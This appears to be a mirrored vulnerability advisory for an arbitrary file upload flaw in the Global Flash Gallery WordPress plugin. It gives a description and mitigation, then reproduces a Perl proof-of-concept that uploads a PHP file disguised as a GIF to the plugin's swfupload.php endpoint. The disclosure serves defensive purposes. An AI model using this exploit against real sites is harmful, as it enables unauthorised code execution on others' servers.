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WordPress Plugin
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SecurityFocus
7,5
CVSS
HIGH
Arbitrary File Upload
434
CWE
Product Name: WordPress Plugin
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
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2013

Global Flash Gallery Plugin for WordPress Arbitrary File Upload Vulnerability

The Global Flash Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Mitigation:

Validate file extensions before uploading them.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/65060/info

The Global Flash Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

#! /usr/bin/perl
  use LWP;
  use HTTP::Request::Common;
  
  my ($url, $file) = @ARGV;
  
  my $ua = LWP::UserAgent->new();
  my $req = POST $url,
    Content_Type => 'form-data',
    Content =>    [
  name => $name,
  galleryselect => 1, # Gallery ID (popup.php)
  Filedata => [ "$file", "file.php.gif",  Content_Type =>
  'image/gif' ]
            ];
  my $res = $ua->request( $req );
  if( $res->is_success ) {
    print $res->content;
  } else {
    print $res->status_line, "\n";
  }

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Example URI:
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http://www.example.com/wp-content/plugins/global-flash-galleries/swfupload.php